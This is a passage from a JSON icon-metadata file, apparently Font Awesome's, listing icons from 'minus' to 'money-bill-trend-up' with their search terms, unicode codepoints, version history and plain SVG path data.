      "names": ["subtract"],
      "unicodes": {
        "composite": ["2013", "2212", "2796"],
        "secondary": ["10f068"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "En Dash",
        "Minus Sign",
        "collapse",
        "delete",
        "hide",
        "math",
        "minify",
        "minus",
        "negative",
        "remove",
        "sign",
        "trash",
        "−"
      ]
    },
    "styles": ["solid"],
    "unicode": "f068",
    "label": "Minus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M432 256c0 17.7-14.3 32-32 32L48 288c-17.7 0-32-14.3-32-32s14.3-32 32-32l352 0c17.7 0 32 14.3 32 32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M432 256c0 17.7-14.3 32-32 32L48 288c-17.7 0-32-14.3-32-32s14.3-32 32-32l352 0c17.7 0 32 14.3 32 32z"
      }
    },
    "free": ["solid"]
  },
  "mitten": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7b5"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "clothing",
        "cold",
        "glove",
        "hands",
        "knitted",
        "seasonal",
        "warmth"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7b5",
    "label": "Mitten",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767603,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M352 384H64L5.4 178.9C1.8 166.4 0 153.4 0 140.3C0 62.8 62.8 0 140.3 0h3.4c66 0 123.5 44.9 139.5 108.9l31.4 125.8 17.6-20.1C344.8 200.2 362.9 192 382 192h2.8c34.9 0 63.3 28.3 63.3 63.3c0 15.9-6 31.2-16.8 42.9L352 384zM32 448c0-17.7 14.3-32 32-32H352c17.7 0 32 14.3 32 32v32c0 17.7-14.3 32-32 32H64c-17.7 0-32-14.3-32-32V448z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M352 384H64L5.4 178.9C1.8 166.4 0 153.4 0 140.3C0 62.8 62.8 0 140.3 0h3.4c66 0 123.5 44.9 139.5 108.9l31.4 125.8 17.6-20.1C344.8 200.2 362.9 192 382 192h2.8c34.9 0 63.3 28.3 63.3 63.3c0 15.9-6 31.2-16.8 42.9L352 384zM32 448c0-17.7 14.3-32 32-32H352c17.7 0 32 14.3 32 32v32c0 17.7-14.3 32-32 32H64c-17.7 0-32-14.3-32-32V448z"
      }
    },
    "free": ["solid"]
  },
  "mix": {
    "changes": ["5.0.0", "5.0.3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3cb",
    "label": "Mix",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014477,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 64v348.9c0 56.2 88 58.1 88 0V174.3c7.9-52.9 88-50.4 88 6.5v175.3c0 57.9 96 58 96 0V240c5.3-54.7 88-52.5 88 4.3v23.8c0 59.9 88 56.6 88 0V64H0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 64v348.9c0 56.2 88 58.1 88 0V174.3c7.9-52.9 88-50.4 88 6.5v175.3c0 57.9 96 58 96 0V240c5.3-54.7 88-52.5 88 4.3v23.8c0 59.9 88 56.6 88 0V64H0z"
      }
    },
    "free": ["brands"]
  },
  "mixcloud": {
    "changes": ["4.5.0", "5.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f289",
    "label": "Mixcloud",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M212.98 346.566H179.789V195.114L185.973 173.47H175.262L137.127 346.566H76.1069L37.7323 173.47H27.276L33.1913 195.114V346.566H0V165H65.6506L102.248 338.096H110.747L147.329 165H212.98L212.98 346.566ZM544.459 283.589L458.434 345.655V307.534L531.329 255.776L458.434 204.017V165.896L544.459 228.231H553.721L640 165.896V204.017L566.866 255.776L640 307.549V345.655L553.721 283.589H544.459ZM430.157 272.311H248.113V239.255H430.157V272.311Z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M212.98 346.566H179.789V195.114L185.973 173.47H175.262L137.127 346.566H76.1069L37.7323 173.47H27.276L33.1913 195.114V346.566H0V165H65.6506L102.248 338.096H110.747L147.329 165H212.98L212.98 346.566ZM544.459 283.589L458.434 345.655V307.534L531.329 255.776L458.434 204.017V165.896L544.459 228.231H553.721L640 165.896V204.017L566.866 255.776L640 307.549V345.655L553.721 283.589H544.459ZM430.157 272.311H248.113V239.255H430.157V272.311Z"
      }
    },
    "free": ["brands"]
  },
  "mixer": {
    "changes": ["5.12.1", "5.14.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e056",
    "label": "Mixer",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M114.57,76.07a45.71,45.71,0,0,0-67.51-6.41c-17.58,16.18-19,43.52-4.75,62.77l91.78,123L41.76,379.58c-14.23,19.25-13.11,46.59,4.74,62.77A45.71,45.71,0,0,0,114,435.94L242.89,262.7a12.14,12.14,0,0,0,0-14.23ZM470.24,379.58,377.91,255.45l91.78-123c14.22-19.25,12.83-46.59-4.75-62.77a45.71,45.71,0,0,0-67.51,6.41l-128,172.12a12.14,12.14,0,0,0,0,14.23L398,435.94a45.71,45.71,0,0,0,67.51,6.41C483.35,426.17,484.47,398.83,470.24,379.58Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M114.57,76.07a45.71,45.71,0,0,0-67.51-6.41c-17.58,16.18-19,43.52-4.75,62.77l91.78,123L41.76,379.58c-14.23,19.25-13.11,46.59,4.74,62.77A45.71,45.71,0,0,0,114,435.94L242.89,262.7a12.14,12.14,0,0,0,0-14.23ZM470.24,379.58,377.91,255.45l91.78-123c14.22-19.25,12.83-46.59-4.75-62.77a45.71,45.71,0,0,0-67.51,6.41l-128,172.12a12.14,12.14,0,0,0,0,14.23L398,435.94a45.71,45.71,0,0,0,67.51,6.41C483.35,426.17,484.47,398.83,470.24,379.58Z"
      }
    },
    "free": ["brands"]
  },
  "mizuni": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3cc",
    "label": "Mizuni",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119.1 0 256c0 137 111 248 248 248s248-111 248-248C496 119.1 385 8 248 8zm-80 351.9c-31.4 10.6-58.8 27.3-80 48.2V136c0-22.1 17.9-40 40-40s40 17.9 40 40v223.9zm120-9.9c-12.9-2-26.2-3.1-39.8-3.1-13.8 0-27.2 1.1-40.2 3.1V136c0-22.1 17.9-40 40-40s40 17.9 40 40v214zm120 57.7c-21.2-20.8-48.6-37.4-80-48V136c0-22.1 17.9-40 40-40s40 17.9 40 40v271.7z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M248 8C111 8 0 119.1 0 256c0 137 111 248 248 248s248-111 248-248C496 119.1 385 8 248 8zm-80 351.9c-31.4 10.6-58.8 27.3-80 48.2V136c0-22.1 17.9-40 40-40s40 17.9 40 40v223.9zm120-9.9c-12.9-2-26.2-3.1-39.8-3.1-13.8 0-27.2 1.1-40.2 3.1V136c0-22.1 17.9-40 40-40s40 17.9 40 40v214zm120 57.7c-21.2-20.8-48.6-37.4-80-48V136c0-22.1 17.9-40 40-40s40 17.9 40 40v271.7z"
      }
    },
    "free": ["brands"]
  },
  "mobile": {
    "aliases": {
      "names": ["mobile-android", "mobile-phone"],
      "unicodes": {
        "composite": ["1f4f1"],
        "secondary": ["10f3ce"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "android",
        "call",
        "cell",
        "cell phone",
        "device",
        "mobile",
        "mobile phone",
        "number",
        "phone",
        "screen",
        "telephone",
        "text"
      ]
    },
    "styles": ["solid"],
    "unicode": "f3ce",
    "label": "Mobile",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M80 0C44.7 0 16 28.7 16 64V448c0 35.3 28.7 64 64 64H304c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H80zm80 432h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H160c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M80 0C44.7 0 16 28.7 16 64V448c0 35.3 28.7 64 64 64H304c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H80zm80 432h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H160c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "mobile-button": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f10b"]
      }
    },
    "changes": ["3.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "apple",
        "call",
        "cell phone",
        "device",
        "iphone",
        "number",
        "screen",
        "telephone"
      ]
    },
    "styles": ["solid"],
    "unicode": "f10b",
    "label": "Mobile Button",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M80 0C44.7 0 16 28.7 16 64V448c0 35.3 28.7 64 64 64H304c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H80zM192 400a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M80 0C44.7 0 16 28.7 16 64V448c0 35.3 28.7 64 64 64H304c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H80zM192 400a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "mobile-retro": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cellphone", "cellular", "phone"]
    },
    "styles": ["solid"],
    "unicode": "e527",
    "label": "Mobile Retro",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H256c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zm64 96v64c0 17.7 14.3 32 32 32H224c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32H96c-17.7 0-32 14.3-32 32zM80 352a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm24 56a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zm56-56a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm24 56a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zm56-56a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm24 56a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zM128 48c-8.8 0-16 7.2-16 16s7.2 16 16 16h64c8.8 0 16-7.2 16-16s-7.2-16-16-16H128z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H256c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zm64 96v64c0 17.7 14.3 32 32 32H224c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32H96c-17.7 0-32 14.3-32 32zM80 352a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm24 56a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zm56-56a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm24 56a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zm56-56a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm24 56a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zM128 48c-8.8 0-16 7.2-16 16s7.2 16 16 16h64c8.8 0 16-7.2 16-16s-7.2-16-16-16H128z"
      }
    },
    "free": ["solid"]
  },
  "mobile-screen": {
    "aliases": {
      "names": ["mobile-android-alt"],
      "unicodes": {
        "secondary": ["10f3cf"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "android",
        "call",
        "cell phone",
        "device",
        "number",
        "screen",
        "telephone",
        "text"
      ]
    },
    "styles": ["solid"],
    "unicode": "f3cf",
    "label": "Mobile Screen",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M16 64C16 28.7 44.7 0 80 0H304c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H80c-35.3 0-64-28.7-64-64V64zM144 448c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16s-7.2-16-16-16H160c-8.8 0-16 7.2-16 16zM304 64H80V384H304V64z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M16 64C16 28.7 44.7 0 80 0H304c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H80c-35.3 0-64-28.7-64-64V64zM144 448c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16s-7.2-16-16-16H160c-8.8 0-16 7.2-16 16zM304 64H80V384H304V64z"
      }
    },
    "free": ["solid"]
  },
  "mobile-screen-button": {
    "aliases": {
      "names": ["mobile-alt"],
      "unicodes": {
        "secondary": ["10f3cd"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "apple",
        "call",
        "cell phone",
        "device",
        "iphone",
        "number",
        "screen",
        "telephone"
      ]
    },
    "styles": ["solid"],
    "unicode": "f3cd",
    "label": "Mobile Screen Button",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M16 64C16 28.7 44.7 0 80 0H304c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H80c-35.3 0-64-28.7-64-64V64zM224 448a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM304 64H80V384H304V64z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M16 64C16 28.7 44.7 0 80 0H304c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H80c-35.3 0-64-28.7-64-64V64zM224 448a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM304 64H80V384H304V64z"
      }
    },
    "free": ["solid"]
  },
  "modx": {
    "changes": ["4.5.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f285",
    "label": "MODX",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M356 241.8l36.7 23.7V480l-133-83.8L356 241.8zM440 75H226.3l-23 37.8 153.5 96.5L440 75zm-89 142.8L55.2 32v214.5l46 29L351 217.8zM97 294.2L8 437h213.7l125-200.5L97 294.2z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M356 241.8l36.7 23.7V480l-133-83.8L356 241.8zM440 75H226.3l-23 37.8 153.5 96.5L440 75zm-89 142.8L55.2 32v214.5l46 29L351 217.8zM97 294.2L8 437h213.7l125-200.5L97 294.2z"
      }
    },
    "free": ["brands"]
  },
  "monero": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3d0",
    "label": "Monero",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014483,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M352 384h108.4C417 455.9 338.1 504 248 504S79 455.9 35.6 384H144V256.2L248 361l104-105v128zM88 336V128l159.4 159.4L408 128v208h74.8c8.5-25.1 13.2-52 13.2-80C496 119 385 8 248 8S0 119 0 256c0 28 4.6 54.9 13.2 80H88z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M352 384h108.4C417 455.9 338.1 504 248 504S79 455.9 35.6 384H144V256.2L248 361l104-105v128zM88 336V128l159.4 159.4L408 128v208h74.8c8.5-25.1 13.2-52 13.2-80C496 119 385 8 248 8S0 119 0 256c0 28 4.6 54.9 13.2 80H88z"
      }
    },
    "free": ["brands"]
  },
  "money-bill": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0d6"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "buy",
        "cash",
        "checkout",
        "money",
        "payment",
        "price",
        "purchase"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0d6",
    "label": "Money Bill",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H64zm64 320H64V320c35.3 0 64 28.7 64 64zM64 192V128h64c0 35.3-28.7 64-64 64zM448 384c0-35.3 28.7-64 64-64v64H448zm64-192c-35.3 0-64-28.7-64-64h64v64zM288 160a96 96 0 1 1 0 192 96 96 0 1 1 0-192z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H64zm64 320H64V320c35.3 0 64 28.7 64 64zM64 192V128h64c0 35.3-28.7 64-64 64zM448 384c0-35.3 28.7-64 64-64v64H448zm64-192c-35.3 0-64-28.7-64-64h64v64zM288 160a96 96 0 1 1 0 192 96 96 0 1 1 0-192z"
      }
    },
    "free": ["solid"]
  },
  "money-bill-1": {
    "aliases": {
      "names": ["money-bill-alt"],
      "unicodes": {
        "secondary": ["10f3d1"]
      }
    },
    "changes": [
      "5.0.0",
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "buy",
        "cash",
        "checkout",
        "money",
        "payment",
        "price",
        "purchase"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f3d1",
    "label": "Money Bill 1",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H64zm64 320H64V320c35.3 0 64 28.7 64 64zM64 192V128h64c0 35.3-28.7 64-64 64zM448 384c0-35.3 28.7-64 64-64v64H448zm64-192c-35.3 0-64-28.7-64-64h64v64zM176 256a112 112 0 1 1 224 0 112 112 0 1 1 -224 0zm76-48c0 9.7 6.9 17.7 16 19.6V276h-4c-11 0-20 9-20 20s9 20 20 20h24 24c11 0 20-9 20-20s-9-20-20-20h-4V208c0-11-9-20-20-20H272c-11 0-20 9-20 20z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H64zm64 320H64V320c35.3 0 64 28.7 64 64zM64 192V128h64c0 35.3-28.7 64-64 64zM448 384c0-35.3 28.7-64 64-64v64H448zm64-192c-35.3 0-64-28.7-64-64h64v64zM176 256a112 112 0 1 1 224 0 112 112 0 1 1 -224 0zm76-48c0 9.7 6.9 17.7 16 19.6V276h-4c-11 0-20 9-20 20s9 20 20 20h24 24c11 0 20-9 20-20s-9-20-20-20h-4V208c0-11-9-20-20-20H272c-11 0-20 9-20 20z"
      },
      "regular": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M112 112c0 35.3-28.7 64-64 64V336c35.3 0 64 28.7 64 64H464c0-35.3 28.7-64 64-64V176c-35.3 0-64-28.7-64-64H112zM0 128C0 92.7 28.7 64 64 64H512c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128zM176 256a112 112 0 1 1 224 0 112 112 0 1 1 -224 0zm80-48c0 8.8 7.2 16 16 16v64h-8c-8.8 0-16 7.2-16 16s7.2 16 16 16h24 24c8.8 0 16-7.2 16-16s-7.2-16-16-16h-8V208c0-8.8-7.2-16-16-16H272c-8.8 0-16 7.2-16 16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M112 112c0 35.3-28.7 64-64 64V336c35.3 0 64 28.7 64 64H464c0-35.3 28.7-64 64-64V176c-35.3 0-64-28.7-64-64H112zM0 128C0 92.7 28.7 64 64 64H512c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128zM176 256a112 112 0 1 1 224 0 112 112 0 1 1 -224 0zm80-48c0 8.8 7.2 16 16 16v64h-8c-8.8 0-16 7.2-16 16s7.2 16 16 16h24 24c8.8 0 16-7.2 16-16s-7.2-16-16-16h-8V208c0-8.8-7.2-16-16-16H272c-8.8 0-16 7.2-16 16z"
      }
    },
    "free": ["regular", "solid"]
  },
  "money-bill-1-wave": {
    "aliases": {
      "names": ["money-bill-wave-alt"],
      "unicodes": {
        "secondary": ["10f53b"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "buy",
        "cash",
        "checkout",
        "money",
        "payment",
        "price",
        "purchase"
      ]
    },
    "styles": ["solid"],
    "unicode": "f53b",
    "label": "Money Bill 1 Wave",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 112.5V422.3c0 18 10.1 35 27 41.3c87 32.5 174 10.3 261-11.9c79.8-20.3 159.6-40.7 239.3-18.9c23 6.3 48.7-9.5 48.7-33.4V89.7c0-18-10.1-35-27-41.3C462 15.9 375 38.1 288 60.3C208.2 80.6 128.4 100.9 48.7 79.1C25.6 72.8 0 88.6 0 112.5zM128 416H64V352c35.3 0 64 28.7 64 64zM64 224V160h64c0 35.3-28.7 64-64 64zM448 352c0-35.3 28.7-64 64-64v64H448zm64-192c-35.3 0-64-28.7-64-64h64v64zM384 256c0 61.9-43 112-96 112s-96-50.1-96-112s43-112 96-112s96 50.1 96 112zM252 208c0 9.7 6.9 17.7 16 19.6V276h-4c-11 0-20 9-20 20s9 20 20 20h24 24c11 0 20-9 20-20s-9-20-20-20h-4V208c0-11-9-20-20-20H272c-11 0-20 9-20 20z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 112.5V422.3c0 18 10.1 35 27 41.3c87 32.5 174 10.3 261-11.9c79.8-20.3 159.6-40.7 239.3-18.9c23 6.3 48.7-9.5 48.7-33.4V89.7c0-18-10.1-35-27-41.3C462 15.9 375 38.1 288 60.3C208.2 80.6 128.4 100.9 48.7 79.1C25.6 72.8 0 88.6 0 112.5zM128 416H64V352c35.3 0 64 28.7 64 64zM64 224V160h64c0 35.3-28.7 64-64 64zM448 352c0-35.3 28.7-64 64-64v64H448zm64-192c-35.3 0-64-28.7-64-64h64v64zM384 256c0 61.9-43 112-96 112s-96-50.1-96-112s43-112 96-112s96 50.1 96 112zM252 208c0 9.7 6.9 17.7 16 19.6V276h-4c-11 0-20 9-20 20s9 20 20 20h24 24c11 0 20-9 20-20s-9-20-20-20h-4V208c0-11-9-20-20-20H272c-11 0-20 9-20 20z"
      }
    },
    "free": ["solid"]
  },
  "money-bill-transfer": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bank",
        "conversion",
        "deposit",
        "money",
        "transfer",
        "withdrawal"
      ]
    },
    "styles": ["solid"],
    "unicode": "e528",
    "label": "Money Bill Transfer",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M535 41c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l64 64c4.5 4.5 7 10.6 7 17s-2.5 12.5-7 17l-64 64c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l23-23L384 112c-13.3 0-24-10.7-24-24s10.7-24 24-24l174.1 0L535 41zM105 377l-23 23L256 400c13.3 0 24 10.7 24 24s-10.7 24-24 24L81.9 448l23 23c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0L7 441c-4.5-4.5-7-10.6-7-17s2.5-12.5 7-17l64-64c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9zM96 64H337.9c-3.7 7.2-5.9 15.3-5.9 24c0 28.7 23.3 52 52 52l117.4 0c-4 17 .6 35.5 13.8 48.8c20.3 20.3 53.2 20.3 73.5 0L608 169.5V384c0 35.3-28.7 64-64 64H302.1c3.7-7.2 5.9-15.3 5.9-24c0-28.7-23.3-52-52-52l-117.4 0c4-17-.6-35.5-13.8-48.8c-20.3-20.3-53.2-20.3-73.5 0L32 342.5V128c0-35.3 28.7-64 64-64zm64 64H96v64c35.3 0 64-28.7 64-64zM544 320c-35.3 0-64 28.7-64 64h64V320zM320 352a96 96 0 1 0 0-192 96 96 0 1 0 0 192z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M535 41c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l64 64c4.5 4.5 7 10.6 7 17s-2.5 12.5-7 17l-64 64c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l23-23L384 112c-13.3 0-24-10.7-24-24s10.7-24 24-24l174.1 0L535 41zM105 377l-23 23L256 400c13.3 0 24 10.7 24 24s-10.7 24-24 24L81.9 448l23 23c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0L7 441c-4.5-4.5-7-10.6-7-17s2.5-12.5 7-17l64-64c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9zM96 64H337.9c-3.7 7.2-5.9 15.3-5.9 24c0 28.7 23.3 52 52 52l117.4 0c-4 17 .6 35.5 13.8 48.8c20.3 20.3 53.2 20.3 73.5 0L608 169.5V384c0 35.3-28.7 64-64 64H302.1c3.7-7.2 5.9-15.3 5.9-24c0-28.7-23.3-52-52-52l-117.4 0c4-17-.6-35.5-13.8-48.8c-20.3-20.3-53.2-20.3-73.5 0L32 342.5V128c0-35.3 28.7-64 64-64zm64 64H96v64c35.3 0 64-28.7 64-64zM544 320c-35.3 0-64 28.7-64 64h64V320zM320 352a96 96 0 1 0 0-192 96 96 0 1 0 0 192z"
      }
    },
    "free": ["solid"]
  },
  "money-bill-trend-up": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bank", "bonds", "inflation", "market", "stocks", "trade"]
    },
    "styles": ["solid"],
    "unicode": "e529",
    "label": "Money Bill Trend Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
